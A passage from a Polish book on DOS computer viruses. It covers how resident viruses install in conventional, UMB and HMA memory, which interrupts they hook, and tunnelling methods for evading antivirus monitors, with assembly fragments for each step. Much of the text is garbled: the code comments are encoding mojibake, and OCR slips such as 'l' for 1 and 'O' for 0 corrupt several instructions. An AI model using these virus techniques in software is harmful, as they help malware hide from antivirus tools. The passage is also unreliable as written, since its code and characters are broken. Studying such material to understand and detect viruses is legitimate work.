Kolejny sposób instalacji w pamięci polega na wykorzystaniu faktu, iż DOS oferuje programom możliwość zmieniania rozmiaru bloku pamięci przy użyciu (4A/21). Dzięki temu można powiększyć pewien blok wykorzystywany przez system lub programy rezydentne i w tak wygospodarowane miejsce skopiować wirusa. Nie trzeba w tym wypadku dokonywać żadnych ręcznych manipulacji na blokach MCB, gdyż wszystkie operacje wykona za nas system operacyjny. Należy pamiętać, iż aby DOS mógł powiększyć blok pamięci, blok ten musi sąsiadować z jakimś nie wykorzystanym przez żaden program fragmentem pamięci. Znaleziony blok najlepiej zabezpieczyć przed ewentualnym zwolnieniem, np. przez wpisanie w pole 03-04h wartości 0008h. Sekwencja realizująca to zadanie wygląda następująco:
; PowiÛkszenie jednego z blok¾w ju┐ u┐ytych
MOV AH,52H ; funkcja DOS - weƒ adres do listy list (LL)
INT 21H ; wywo│aj funkcjÛ DOS
MOV DX,ES:[BX-2] ; AX==adres segmentowy pierwszego MCB
NAST╩PNY:
mov es,dx ; DS wskazuje na sprawdzany blok mcb
mov cl, byte PTR ES:[O] ; zachowaj znacznik nag│¾wka MCB
MOV BX,ES:[3] ; pobierz rozmiar bloku
INC DX ; DOS wymaga adresu o l wiÛkszego od MCB
MOV ES,DX ; ES wskazuje na blok pamiÛci
ADD DX,BX ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB
ADD bx, rozmiar ; dodaj rozmiar wirusa (w paragrafach 16-bajtowych)
MOV AH,4Ah ; spr¾buj zmieniµ rozmiar bloku
INT 21h ; wywo│aj funkcjÛ DOS
JNC JESTBLOK ; je£li CFl, uda│o siÛ zmieniµ blok
CMP CL, Z ; czy ostatni blok ?
JNE NASTEPNY ; sprawdƒ nastÛpny blok
OSTATNI: ; nie uda│o siÛ powiÛkszyµ ┐adnego bloku
...... ; czÛ£µ kodu wirusa, wykonuj╣ca
; siÛ, gdy nie znaleziono bloku
JESTBLOK:
...... ; uda│o siÛ powiÛkszyµ blok, adres do niego jest w ES
Sposób obsługiwania pamięci przez DOS jest określany przez tzw. strategię przydziału pamięci, która standardowo nie używa bloków UMB, stąd powyższe sposoby zadziałają bez zarzutu dla pamięci poniżej 640kB. Aby zainstalować wirusa w pamięci UMB, trzeba wymusić jej używanie na równi z pamięcią niską. W tym celu należy przyłączyć łańcuch bloków MCB pamięci UMB do łańcucha bloków MCB, znajdujących się w pamięci niskiej, przy użyciu funkcji (5803/21). Całość takiej operacji realizuje się przy użyciu następującej sekwencji w asemblerze:
; Do│╣czanie pamiÛci UMB do │a±cucha UMB i zmiana strategii przydzia│u pamiÛci
MOV AX,5800h ; funkcja - pobierz aktualn╣ strategiÛ
INT 21h ; wywo│aj funkcjÛ DOS
PUSH AX ; zachowaj odczytane strategiÛ
MOV AX,5802h ; weƒ informacjÛ o do│╣czeniu pamiÛci UMB
INT 21h ; wywo│aj funkcjÛ DOS
PUSH AX ; zachowaj informacjÛ na stosie
MOV AX,5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha MCB MOV BX,1 ; podfunkcja - do│╣cz bloki
INT 21h ; wywo│aj funkcjÛ DOS
MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiÛ pamiÛci
MOV BX,82h ; nowa strategia (UMB+ostatni spe│niaj╣cy warunek)
INT 21h ; wywo│aj funkcjÛ DOS
....... ; operacje na blokach MCB (na ca│ym ich │a±cuchu)
POP BX ; weƒ pierwotn╣ informacjÛ o do│╣czeniu pamiÛci UMB
XOR BH,BH ; podfunkcja - do│╣cz bloki lub od│╣cz zale┐nie od BL MOV AX, 5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha mcb INT 21H ; wywo│aj funkcjÛ DOS
POP BX ; przywr¾µ pierwotn╣ strategiÛ
MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiÛ pamiÛci wg BX
INT 21h ; wywo│aj funkcjÛ DOS
Dołączenie pamięci UMB do łańcucha MCB ma duże znaczenie, gdy poszukujemy ostatniego bloku w tym łańcuchu. Jeżeli system wykorzystuje pamięć UMB, a ta nie jest chwilowo podłączona do łańcucha MCB, zmiana ostatniego (w tym wypadku widzianego jako ostatni) bloku pamięci poniżej 640kB spowoduje odcięcie pamięci UMB, co w efekcie zmniejszy dostępną dla programów użytkowych pamięć i niechybnie pomoże wykryć intruza.
Innym sposobem na przydzielenie pamięci UMB wirusowi jest skorzystanie z mechanizmów zawartych w specyfikacji XMS, która umożliwia obsługę tej pamięci za pośrednictwem funkcji l0h i 11h. Są one dostępne przez bezpośrednie wywołanie procedury, której adres uzyskuje się po wywołaniu funkcji (4310/2F). Przydzielenie bloku UMB za pomocą funkcji XMS ilustruje poniższa sekwencja:
; Wykorzystanie mechanizm¾w XMS do przydzia│u bloku UMB
MOV AX,4300H ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS
INT 2Fh ; wywo│aj przerwanie multipleksowane
CMP AL,80h ; czy zainstalowany mened┐er XMS?
JNE NieMaXMS ; skocz, je£li nie jest zainstalowany
MOV AX,4310H ; funkcja - weƒ adres procedury
INT 2Fh ; wywo│aj przerwanie multipleksowane
MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era XMS
MOV [PROCOFS],BX
MOV AH,10h ; funkcja XMS - przydziel pamiÛµ UMB
MOV DX,rozmiar ; podaj ilo£µ ┐╣danej pamiÛci w paragrafach
CALL [PROCSEG] ; wywo│aj procedurÛ mened┐era XMS
CMP AX,l ; je£li nie ma b│Ûdu, to AX-1
JNE BLAD ; skocz, Je£li AX<>1
; BX = adres przydzielonego bloku
5.4. Instalacja w pamięci HMA
Wykorzystując wewnętrzne funkcje systemu DOS można przydzielić sobie blok w pamięci HMA (ang. High Memory Area), znajdującej się powyżej l Mb, a możliwej do zaadresowania w trybie rzeczywistym (np. ES:SI gdzie ES=SI=FFFF wskazuje na adres 10FFEF=lMb+64K-16 bajtów). Pamięć ta jest najczęściej wykorzystywana przez DOS, aby zmniejszyć ilość pamięci konwencjonalnej, zajętej przez system (to, czy system wykorzystuje HMA, zależy od obecności polecenia DOS=HIGH w pliku CONFIG.SYS).
Do przydzielania pamięci HMA wykorzystuje się funkcje (4A01/4A02/2F) w postaci następującej sekwencji:
; Przydzia│ fragmentu pamiÛci HMA
MOV AX,4A01h ; funkcja - sprawdƒ ilo£µ wolnej HMA
INT 2Fh ; wywo│aj przerwanie multipleksowane BX = ilo£µ wolnej
; pamiÛci HMA w bajtach,
; ES:DI wskazuje na wolny obszar HMA
CMP BX, ROZMIAR ; czy jest odpowiednia ilo£µ pamiÛci
jb NieMaHMA ; je£li mniej, to nie przydzielaj
MOV AX, 4A02h ; funkcja - przydziel pamiÛµ HMA
MOV BX, ROZMIAR ; rozmiar ┐╣danej pamiÛci
INT 2Fh ; wywo│aj przerwanie multipleksowane
; BX = ilo£µ przydzielonej pamiÛci HMA w paragrafach
; ES:DI wskazuje na przydzielony obszar HMA
NieMaHMA:
Oprócz powyższego sposobu istnieje jeszcze inna możliwość przydziału pamięci HMA (ale tylko jako jednego bloku o długości 64kB-16 bajtów, o ile nie jest już zajęty). Należy skorzystać z mechanizmu oferowanego przez program obsługujący specyfikację XMS (najczęściej HIMEM.SYS), tak jak pokazano to w poniższym przykładzie:
; Przydziel ca│e pamiÛµ HMA programowi
MOV AX,4300h ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS
INT 2Fh ; wywo│aj przerwanie multipleksowane
CMP AL,80h ; czy zainstalowany mened┐er XMS ?
JNE NieMaXMS ; skocz, je£li nie jest zainstalowany
MOV AX,4310h ; funkcja - weƒ adres procedury
INT 2Fh ; wywo│aj przerwanie multipleksowane
MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era XMS
MOV [PROCOFS],BX
MOV AH,l ; funkcja XMS - przydziel pamiÛµ HMA
MOV DX,ROZMIAR ; podaj ilo£µ ┐╣danej pamiÛci w bajtach
CALL [PROCSEG] ; wywo│aj procedurÛ mened┐era XMS
CMP AX, l ; je£li nie ma b│Ûdu, to AX=1
JNE BLAD ; skocz, je£li AX1
5.5. Nietypowe metody instalacji
5.5.1. Pamięć ekranu
Korzystając z tego, iż tryby pracy ekranu nie wykorzystują najczęściej całej przeznaczonej dla danego trybu przestrzeni adresowej, można użyć części pamięci ekranu, aby skopiować tam wirusa. Wykorzystuje się w tym celu najczęściej adresy w segmencie 0B000 lub 0B800 (zależnie od karty graficznej), pod którymi ulokowane są dane dla trybów tekstowych ekranu.
5.5.2. Bufory dyskowe DOS
Inną, dość nietypową metodę na instalację w systemie znalazł i wykorzystał twórca wirusa USSR.516. Wirus ten znajduje i alokuje sobie miejsce w jednym z buforów stosowanych przez DOS przy operacjach dyskowych. Dzięki temu, iż rezyduje w obszarach roboczych systemu, jest uznawany za jego część oraz, co istotne, nie zmniejsza długości pamięci dostępnej dla programów użytkownika.
Przejmowanie przerwań jest najczęściej stosowaną przez wirusy rezy-dentne metodą kontrolowania działania systemu. Jak wspomniano w poprzednim rozdziale, procesory 80x86 mogą obsługiwać do 256 przerwań, którymi zajmują się osobne procedury obsługi. Adresy tych procedur zawarte są w tablicy przerwań, która w trybie rzeczywistym zajmuje 1024 bajty pamięci i jest ulokowana w obszarze od adresu 0000:0000 do 0000:0400. Tablica ta zawiera 256 rekordów (każdy o długości 4 bajtów) w postaci ofset:segment. Adres procedury obsługi przerwania o numerze 0h zajmuje więc komórki 0000:0000 -0000:0003, do przerwania 1h komórki 0004:0007 itd. aż do przerwania 0FFh, zajmującego komórki 0000:03FC - 0000:03FF.
ROZDZIAŁ 6
6.1. Najczęściej przejmowane i wykorzystywane przerwania
Wirusy najczęściej wykorzystują i/lub przejmują następujące przerwania:
> 01h - Przerwanie trybu krokowego procesora, wywoływane wewnętrznie, gdy w rejestrze znaczników FLAGS jest ustawiony bit TF. Przerwanie Olh jest używane przez wirusy do poszukiwania w łańcuchu procedur obsługi przerwania jego ostatniego elementu, będącego przeważnie częścią DOS-a lub BIOS-a. W czasie wykonywania wyżej wymienionej operacji możliwe jest także przejęcie obsługi przerwania poprzez włączenie się w istniejący łańcuch obsługi przerwania, dzięki czemu nie trzeba modyfikować tablicy przerwań. Kontrola procedury obsługi tego przerwania pozwala wykryć uruchomiony debugger.
> 03h - Pułapka programowa (ang. breakpoint}, ze względu na 1-bajtową instrukcję (kod 0CCh) stosowana przez debuggery;
powyższa właściwość powoduje, iż instrukcję tę stosują bardzo krótkie wirusy do wywoływania pierwotnej procedury obsługi przejętego przez nie przerwania. Podobnie jak w przypadku przerwania numer 0lh, kontrolując INT 03h można wykryć włączony debugger.
> 08h - Przerwanie sprzętowe IRQ 0 - standardowo zgłaszane 18 razy na sekundę przez układ zegara 8253/8254 (częstotliwość generowania tego przerwania można zmienić programowo). Wewnątrz procedury jego obsługi znajduje się rozkaz wywołania przerwania 1Ch. Najczęściej używane jest ono do realizacji efektów specjalnych, rzadziej do autoweryfikacji wirusa.
> 09h - Przerwanie sprzętowe IRQ l, wywoływane po naciśnięciu lub puszczeniu klawisza na klawiaturze. Odczytany z portu 60h klawisz jest dekodowany przez funkcję (4F/15), a następnie umieszczany w buforze klawiatury, skąd dostępny jest później dla funkcji przerwania 16h. Podobnie Jak IRQ O, przerwanie 09h używane jest zwykle do efektów specjalnych i czasem do autoweryfikacji (na przykład kod wirusa jest sprawdzany przy każdym naciśnięciu lub puszczeniu klawisza).
> 10h - Przerwanie programowe BIOS obsługujące funkcje ekranu;
używane do efektów specjalnych lub w celu informowania innych kopii wirusa o obecności w pamięci.
> 12h - Przerwanie programowe BIOS zwracające po wywołaniu wielkość pamięci operacyjnej podaną w kilobajtach. Zwracana wartość jest odczytywana ze zmiennej systemowej BIOS, znajdującej się pod adresem 0000:0413. Przerwanie to wykorzystują głównie wirusy tablicy partycji i BOOT-sektorów, gdy zmniejszają ilość pamięci dostępnej dla systemu DOS. Aby tego dokonać, nie muszą jednak przejmować przerwania, a tylko zmodyfikować wyżej wymienioną zmienną BIOS. Czasem przerwanie 12h przejmowane jest w celu informowania innych kopii wirusa o obecności w systemie.
> 13h - Przerwanie programowe BIOS odpowiedzialne za obsługę dysków na poziomie sektorów. Obsługując dyskietki wywołuje przerwanie 40h. Jest ono używane najczęściej podczas infekcji
przez wirusy atakujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Jego przejęcie umożliwia zastosowanie techniki stealth dla sektorów, a także informowanie innych kopii wirusa o obecności w systemie.
> 14h - Przerwanie programowe BIOS odpowiedzialne za obsługę łączy szeregowych. Przechwytywane (choć rzadko) dla efektów specjalnych, polegających na przekłamywaniu odczytów7 i zapisów złącza.
> 15h - Przerwanie programowe BIOS odpowiedzialne za dodatkowe funkcje systemowe. Może być przejmowane dla efektów specjalnych, polegających na zmianie obsługi funkcji 4Fh. Powyższa funkcja jest wywoływana przez przerwanie sprzętowe IRQ l (09h) i odpowiada za dekodowanie klawiszy do postaci widzianej później przez przerwanie programowe int 16h. Godna uwagi jest także funkcja (9000/15), wywoływana przez procedurę obsługi przerwania sprzętowego IRQ 14 (76h), której przejęcie umożliwia zastosowanie techniki hardware-level stealth.
> 16h - Przerwanie programowe BIOS odpowiedzialne za obsługę klawiatury. Przejmowane najczęściej dla efektów specjalnych lub w celu informowania innych kopii wirusa o obecności w pamięci.
> 17h - Przerwanie programowe BIOS obsługujące drukarki. Przejmowane (choć rzadko) dla efektów specjalnych, polegających np. na fałszowaniu drukowanych znaków.
> 1Ch - Przerwanie wywoływane przez przerwanie sprzętowe IRQ 0 (08h), najczęściej przejmowane do celów efektów specjalnych (choć w tym wypadku lepiej przejąć obsługę przerwania IRQ 0).
> 21h - Przerwanie programowe DOS odpowiedzialne m.in. za obsługę dysków logicznych na poziomie plików, a także pamięci operacyjnej, czyli newralgicznych części systemu, stąd też jest ono najczęściej przejmowanym przez wirusy przerwaniem. Umożliwia infekcję plików przy ich otwieraniu, zamykaniu, czytaniu, zmianie nazwy, uruchamianiu itd. oraz pozwala na ukrywanie się w systemie. Ze względu na to, iż jest potrzebne wirusom do mnożenia się, nie wykorzystywane przez system numery funkcji często służą innym kopiom wirusa do sprawdzania jego
obecności w systemie (nie musi on już przejmować innego przerwania, gdyż wyżej wymieniona operacja wykonywana jest niejako przy okazji).
> 24h - Przerwanie programowe DOS obsługujące błędy krytyczne systemu. W wypadku wystąpienia błędu wywołuje ono standardowo tzw. dialog ARIF (skrót od ang. Abort Retry Ignore Fail), pozwalający użytkownikowi zadecydować, jaką podjąć operację. Przerwanie to wirusy przejmują na czas infekcji, aby w razie wystąpienia jakiegoś błędu wirus mógł sam zadecydować, jaką akcję chce podjąć. Nowa obsługa przerwania najczęściej zawiera dwie instrukcje nakazujące systemowi DOS sygnalizować błąd programowi wywołującemu (czyli wirusowi). Wyglądają one następująco:
Typowa procedura obs│ugi przerwania int 24h u┐ywana podczas infekcji
MOV AL,3 ; sygnalizuj b│╣d programowi (czyli wirusowi)
IRET ; powr¾t 2 obs│ugi przerwania
> 25h - Przerwanie programowe DOS odpowiedzialne za odczyt sektorów z dysków logicznych, czasem używane do ukrywania się w systemie, ale głównie do łatwego odczytywania BOOT-se-ktorów.
> 26h - Przerwanie programowe DOS odpowiedzialne za zapis sektorów na dyskach logicznych. Najczęściej używane jest do infekcji BOOT-sektorów. Zwykle wykorzystuj ą je konie trojańskie do destrukcji.
> 27h - Przerwanie programowe DOS. Umożliwia zakończenie programu z pozostawieniem kodu w pamięci. Używają go niektóre, zwłaszcza stare, programy TSR, nowsze korzystają z funkcji (31/21). Wykorzystując działanie tego przerwania lub funkcji (31/21) można napisać prostego wirusa rezydentnego.
> 28h - Przerwanie programowe DOS pozwalające na wykonywanie pewnych operacji w tle, co jest wykorzystywane m. in. przez program PRINT. Może być użyteczne do infekowania plików, gdy DOS nie jest zajęty żadnym zadaniem, tak jak robi to np. wirus DOS-IDLE.
> 2Fh - Przerwanie multipleksowane systemu. Ze względu na różnorodność wykonywanych funkcji umożliwia m. in. znajdowanie oryginalnej procedury przerwania 13h (13h/2F), informowanie innych kopii wirusa o obecności w systemie oraz infekcję plików przy ich zamykaniu. To ostatnie możliwe jest dzięki zastosowaniu funkcji (1216/1220/2F), operujących na systemowych tablicach SFT (ang. System File Table), w których zawarte są wszystkie parametry wskazywanego przez uchwyt pliku.
> 30h/31h - W tablicy przerwań, w miejscu, gdzie powinny być adresy obsługi tych przerwań znajduje się rozkaz dalekiego skoku do DOS w postaci 0EA 00 00 SS SS, gdzie OO OO to ofset, a SS SS to segment (po starcie systemu jest to segment kodu systemu DOS, ale może być podmieniony przez program antywirusowy). Adres wskazywany przez rozkaz skoku może być wykorzystywany do wywoływania funkcji DOS według przestarzałej konwencji CP/M, a także do zlokalizowania w segmencie kodu DOS adresu obsługi przerwania 21h, co umożliwia bezpieczne, omijające większość monitorów antywirusowych, wywoływanie funkcji DOS (metodę tę stosuje m.in. wirus DIR-2).
> 40h - Przerwanie programowe BIOS, które obsługuje dyski elastyczne. W większości BIOS-ów adres tego przerwania jest oryginalnym adresem przerwania 13h podczas inicjacji systemu. Podczas startu systemu BIOS przekierowywuje przerwanie 13h na 40h, o ile wykryje dysk twardy. Rzadko przejmowane; umożliwia dostęp do dyskietek z pominięciem przerwania 13h.
> 76h - Przerwanie sprzętowe IRQ 14, generowane przez sterownik dysku twardego przy wszelkich operacjach dyskowych. Obsługa przerwania polega na wykonaniu odczytu z portu 1F7h (rejestr stanu IDE) i wywołaniu funkcji (9000/15). Przejęcie jego lub funkcji (9000/15) umożliwia zastosowanie techniki hardware-level stealth do ukrywania się w systemie.
Jak widać, jest to znakomita większość wszystkich wykorzystywanych przez programy przerwań. Czasem, w celu zminimalizowania rozmiarów, wirus przejmuje dodatkowo jakieś nie używane przez system przerwanie (najczęściej powyżej numeru 60h), aby przy jego pomocy wywoływać pierwotny program obsługi jakiegoś przejętego przez siebie przerwania. Korzysta z tego, że maszynowy rozkaz wy-
wołania przerwania (INT ??) zawiera tylko 2 bajty (o kodach OCDh/??, gdzie ?? to numer przerwania), gdy tymczasem rozkaz wywołania pierwotnego programu obsługi za pomocą rozkazu wywołania procedury zajmowałby od 3 (wywołanie pośredniej, bliskiej procedury) do 6 bajtów (wywołanie dalekiej, bezpośredniej procedury). Przejęcie jakiegoś przerwania programowego może być także wykorzystywane do sprawdzania, czy wirus został już wcześniej zainstalowany w pamięci, co pozwala mu uniknąć powtórnej, niepotrzebnej instalacji. Sekwencja wykrywająca, czy wirus jest już zainstalowany, ma najczęściej postać:
MOV AX.HASúO ; najczÛ£ciej w AX podaje siÛ jak╣£ nie typow╣ funkcjÛ
INT xx ; xx - numer przerwania (najczÛ£ciej 21h)
CMP REJ,ODPOWIEDÅ ; czy wirus ju┐ zainstalowany (rej - najczÛ£ciej AX)
JE Ju┐Zainstalowany ; skok, gdy zainstalowany wirus zwr¾ci│ odpowiedƒ
........... ; zainstaluj siÛ
Ju┐Zainstalowany: ; powr¾µ do nosiciela
Wiedza o najczęściej przejmowanych przerwaniach pozwala często na ręczne przejście przez łańcuch obsługi przerwania przy użyciu de-buggera i sprawdzenie po drodze, czy nie ma gdzieś kodu budzącego podejrzenia, prawdopodobnie należącego do wirusa. Przy takim sprawdzaniu należy pamiętać o kilku niebezpieczeństwach związanych z używaniem debuggera w systemie kontrolowanym przez wirusa. Wirus może kontrolować funkcję (4B01/21), służącą debugge-rom do ładowania programów. Jeżeli jest ona wywoływana, wirus może się deinstalować z pamięci lub podjąć jakieś inne działanie, maskujące lub destrukcyjne. Podobne niebezpieczeństwo grozi ciekawskiemu użytkownikowi ze strony niektórych, najczęściej destrukcyjnych wirusów, kontrolujących stan przerwania INT 01h i INT 03h, a te, jak wiadomo, używane są najczęściej przez programy uruchomieniowe. Zwykle po wykryciu, iż adres procedury obsługi któregoś z tych przerwań nie wskazuje na rozkaz IRET (czyli na pustą procedurę obsługi przerwania), wirus bądź blokuje komputer, bądź brutalnie niszczy dane na dysku twardym. Jeszcze inne niebezpieczeństwo
może grozić użytkownikowi ze strony wirusów, które potrafią sprawdzać poprawność swego kodu. Procedura autoweryfikacji może być wywoływana przez każde z niewinnych przerwań programowych, używanych powszechnie w oprogramowaniu (np.: 10h, 16h) lub też może być podczepiona pod któreś z przerwań sprzętowych. W przypadku wykrycia jakichś zmian (np, zły wynik obliczanej na bieżąco sumy korekcyjnej) wirus może natychmiast podjąć niemile dla użytkownika działanie odwetowe.
Na koniec warto jeszcze wspomnieć, iż zamiast przerwań niektóre wirusy rezydentne przejmują obsługę sterowników urządzeń blokowych, zajmujących się operacjami na urządzeniach masowych, takich jak dysk twardy czy dyskietka, w sposób analogiczny do programów umieszczanych w plikach SYS. Pozwala im to monitorować odwołania do dysków logicznych, zainstalowanych w systemie na poziomie pośrednim między systemem DOS i BIOS (jest to potrzebne np. przy infekcji polegającej na podmianie pierwszej JAP pliku). Tak przejęte odwołanie do systemu będzie dość trudne do wykrycia poprzez ręczne analizowanie kodu jakiegoś przerwania krok po kroku.
6.2. Wykorzystanie funkcji DOS
Najprościej przejąć obsługę przerwania używając dwóch przeznaczonych do tego celu funkcji DOS, tzn. (25/35/21) za pomocą poniższej sekwencji w asemblerze:
; Przejmowanie przerwa± za pomoce DOS-a
MOV AL, NUMER ; podaj w AL numer przerwania
MOV AH, 35h ; w AH numer funkcji, weƒ adres starej procedury
; obs│ugi przerwania
INT 21h ; wywo│aj funkcjÛ DOS po wywo│aniu funkcji
MOV [StarySEG],ES ; w ES:BX pobrany adres poprzedniej procedury
MOV [StaryOFS],BX ; obs│ugi, kt¾ry najczÛ£ciej zapamiÛtuje siÛ
MOV AH, 25h ; w AH numer funkcji, ustaw now╣ procedurÛ obs│ugi
; przerwania
MOV AL,NUMER ; w AL numer przerwania
MOV DS, SEG Nowa ; DS:DX zawiera adres do nowej procedury
MOV DX, OFFSET Nowa ; obs│ugi przerwania
INT 21h ; wywo│aj funkcjÛ DOS
Powyższy sposób przejmowania przerwań, zalecany przez twórców systemu DOS, ze względu na możliwość monitorowania funkcji (25/35/21) przez program antywirusowy, stosują najczęściej prymitywne wirusy. Bardziej wyrafinowane, używają metod trochę innych, omówionych poniżej.
6.3. Bezpośrednie zmiany w tablicy wektorów przerwań
Bezpieczniejszym (ze względu na programy antywirusowe) sposobem na przejęcie przerwania jest bezpośrednia manipulacja w tablicy wektorów przerwań, przy użyciu poniższej sekwencji w asemblerze, wykonującej w przybliżeniu to samo, co sekwencja z poprzedniego punktu:
: Przejmowanie przerwa± bezpo£rednio w tablicy przerwa±
MOV BL, NUMER ; w BL numer zmienianego przerwania
XOR BH,BH ; BX=BL
SHL BX,l ; pomn¾┐ je przez 4 (2 razy przesu± w lewo)
SHL BX,l ; jeszcze raz przesu± w lewo
XOR AX,AX ; zeruj rejestr AX
MOV DS,AX ; i z jego pomoc╣ zeruj rejestr segmentu DS
; DS:BX wskazuje na pozycjÛ w tablicy przerwa±,
; gdzie zapisany jest adres obs│ugi przerwania
LDS DX,DS:[BX] ; pobierz segment i offset przerwania (do
; zapamiÛtania)
MOV [StarySEG],DS ; zachowaj segment
MOV [StaryOFS],DX ; zachowaj offset
MOV DS,AX ; ponownie DS=0
CLI ; bezpiecznie zmieniaµ adres obs│ugi przerwania
; przy wy│╣czonych przerwaniach
MOV DS:[BXJ,OFFSET NOWA ; bezpo£rednie warto£ci wskazujÛ
; na adres nowej
MOV DS:[BX+2], SEG NOWE ; procedury obs│ugi przerwania
STI ; teraz mo┐na ju┐ w│╣czyµ przerwania
Oczywiście, w powyższej sekwencji można pominąć rejestr BX i podać offset w postaci absolutnej (np, jako 21h*4), jednak użycie rejestru umożliwia przejmowanie więcej niż jednego przerwania za pomocą tej samej procedury (należy zmieniać tylko wartość BL).
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania i znajdowanie czystych wejść do systemu (ang. tunnelling)
Dowolna modyfikacja w tablicy przerwań jest łatwa do wykrycia przez najprymitywniejszy nawet program antywirusowy, stąd też twórcy wirusów poszukiwali innej metody przejmowania przerwań, dzięki której nie trzeba modyfikować tablicy przerwań. Opracowano szereg metod polegających na włączaniu się do istniejącego łańcucha procedur obsługi przerwania, zwanych ogólnie tunelingiem.
Zainstalowany rezydentnie w pamięci wirus musi mieć możliwość wywoływania pierwotnej procedury przejętego przez siebie przerwania (np. podczas infekcji potrzebne są funkcje systemu obsługujące działania na plikach). Wywoływanie aktualnej (tzn. wskazywanej przez tablicę przerwań) procedury obsługującej dane przerwanie lub nawet tej, która została zapamiętana podczas instalacji wirusa w pamięci, grozi szybkim wykryciem przez monitor antywirusowy Najlepiej, gdy wywoływana przez wirusa procedura jest ostatnim elementem w łańcuchu procedur obsługi przerwania, czyli jest to po prostu oryginalna procedura zawarta w BIOS-ie lub DOS-ie.
6.4.1. Korzystanie ze stałych adresów w systemie (przerwania 21h i 2Fh)
Ta metoda tunelingu jest możliwa tylko w wersjach DOS powyżej 5.00. Służy ona do przechwytywania obsługi przerwania 21h i ewentualnie 2Fh (przy okazji znajdowany jest oryginalny adres procedury obsługi tego przerwania, ulokowanej w kodzie systemu DOS). Wykorzystuje ona fakt, iż system DOS posiada w swym pierwszym bloku MCB (oznaczonym jako systemowy) standardową sekwencję kodu (taką samą dla obu przerwań 21h i 2Fh), która została przedstawiona poniżej.
Sekwencja kodu występująca w DOS od 5.0 wzwyż
DOS używa HMA |
DOS nie używa HMA |
|||
Adres |
Kod |
Znaczenie |
Kod |
Znaczenie |
SEG:OFS |
90 90 |
NOP NOP |
EB 03 |
JMP $+3 |
SEG:OFS+2 |
E8 xxxx |
CALL [IP+xxxx] |
E8 xxxx |
CALL [IP+xxxx] |
SEG:OFS+5 |
2E FF 2E yyyy |
JMP FAR CS:[yyyy] |
2E FF 2E |
JMP FAR CS:[yyyy] |
Dla przerwania 21h powyższa sekwencja kodu występuje pod adresem SEG:OFS, gdzie OFS jest równy 109Eh (w wersji DOS od 5.00 do 6,22) lub 0FB2h w wersjach powyżej 6.22 (np. DOS 7.0, występujący z systemem Windows 95).
W przypadku przerwania 2Fh OFS jest równy: 10C6h (dla DOS 5.00 - 6.22) i 0FDAh (dla wersji 7.00).
Wartość SEG jest wartością zwracaną przez funkcję 52h w rejestrze ES. Na podstawie powyższych danych łatwo odczytać adres pierwotnego adresu procedury int 21h, korzystając z następującej sekwencji:
MOV AH,30H ; funkcja - weƒ wersjÛ systemu
INT 21h ; wywo│aj funkcjÛ
XCHG AL,AH ; zabieg kosmetyczny - aby p¾ƒniejsze
; por¾wnanie by│o bardziej przejrzyste
MOV BX,109EH ; offset dla wersji 5.00 - 6.22
CMP AX,0500h ; czy wersja
JB NIEDZIAúA ; je£li tak, to tunneling nie dzia│a
CMP AX,0622h ; czy wersja wiÛksza od 6.22 ?
JB Wer5_6_22
MOV BX,OFB2h ; nowsze wersje DOS - inny offset
Wer5_6_22:
PUSH BX ; zachowaj offset na stosie
MOV AH,52h ; funkcja - podaj adres do LL
INT 21h ; wywo│aj funkcjÛ
POP BX ; teraz ES:BX wskazuje na sekwencjÛ z tabeli
CMP WORD PTR ES:[BX],9090h; czy jedna z sekwencji ?
JE JEST ; jest czÛ£µ sekwencji
CMP WORD PTR ES:[BX],03EBh ; czy druga z sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
JEST:
CMP BYTE PTR ES:[BX+2],OE8h; czy druga czÛ£µ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
CMP WORD PTR ES:[BX+5],0FF2Eh ; czy trzecia czÛ£µ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
CMP BYTE PTR ES:[BX+7],02Eh ; czy czwarta czÛ£µ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tunelling nie dzia│a
; znaleziona pe│na sekwencja
MOV BX,WORD PTR ES:[BX+8]
LES BX,DWORD PTR ES:[BX] ; ES:BX wskazuje na oryginalny adres int 21h
NIEDZIALA:
Dla przerwania 2Fh sekwencja będzia wyglądała bardzo podobnie, z jedyną zmianą w programie wartości 0FS z 109Eh na 10C6h i 0FB2h na 0FDAh.
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)
Do znalezienia oryginalnych wejść do procedur obsługi przerwań można wykorzystać tryb krokowy procesora. Po zainstalowaniu odpowiedniego monitora pod przerwaniem krokowym wykonuje się jakąś testową funkcję, której wynik jest już wcześniej znany (np. przez uprzednie wywołanie tej funkcji bez monitora przerwania krokowego). Na bazie tego możemy stwierdzić (będąc w procedurze obsługi przerwania krokowego), czy znajdujemy się w poszukiwanym, oryginalnym kodzie przerwania, poprzez testowanie zawartości odpowiedniego rejestru lub ich grupy.
Dla przerwania int 21h wygodnie śledzić np. funkcję 62h (weź aktualny adres PSP) lub funkcję 30h (weź numer wersji DOS), dla przerwania int 13h taką funkcją może być 08h (weź informację o parametrach dysku).
6.4.3. Tuneling rekursywny (ang. recursive tunneling)
Ze względu na możliwość blokowania trybu krokowego procesora do znalezienia oryginalnego adresu przerwania 21h można zastosować tzw. tuneling rekursywny. Polega on na tym, iż w otoczeniu aktualnej procedury obsługi przerwania (wskazywanej przez tablicę przerwań), poszukuje się kodów wywołań dalekich procedur lub skoków, dzięki którym zwykle przekazywane jest sterowanie do kolejnego elementu łańcucha obsługi przerwania. Najczęściej łańcuch taki składa się z następujących sekwencji:
Element_l
......... ; pierwszy element │a±cucha
Skok_do_Elementu_2
......... ; pamiÛµ wykorzystywana przez inne programy
Element_2 ......... ; drugi element │a±cucha
Skok_do_Elementu_3
......... ; pamiÛµ wykorzystywana przez inne programy
Element_N ......... ; ostatni element │a±cucha - poszukiwana czÛ£µ systemu Powr¾t_Z_Elementu_N ; powr¾t poprzez rozkaz IRET lub
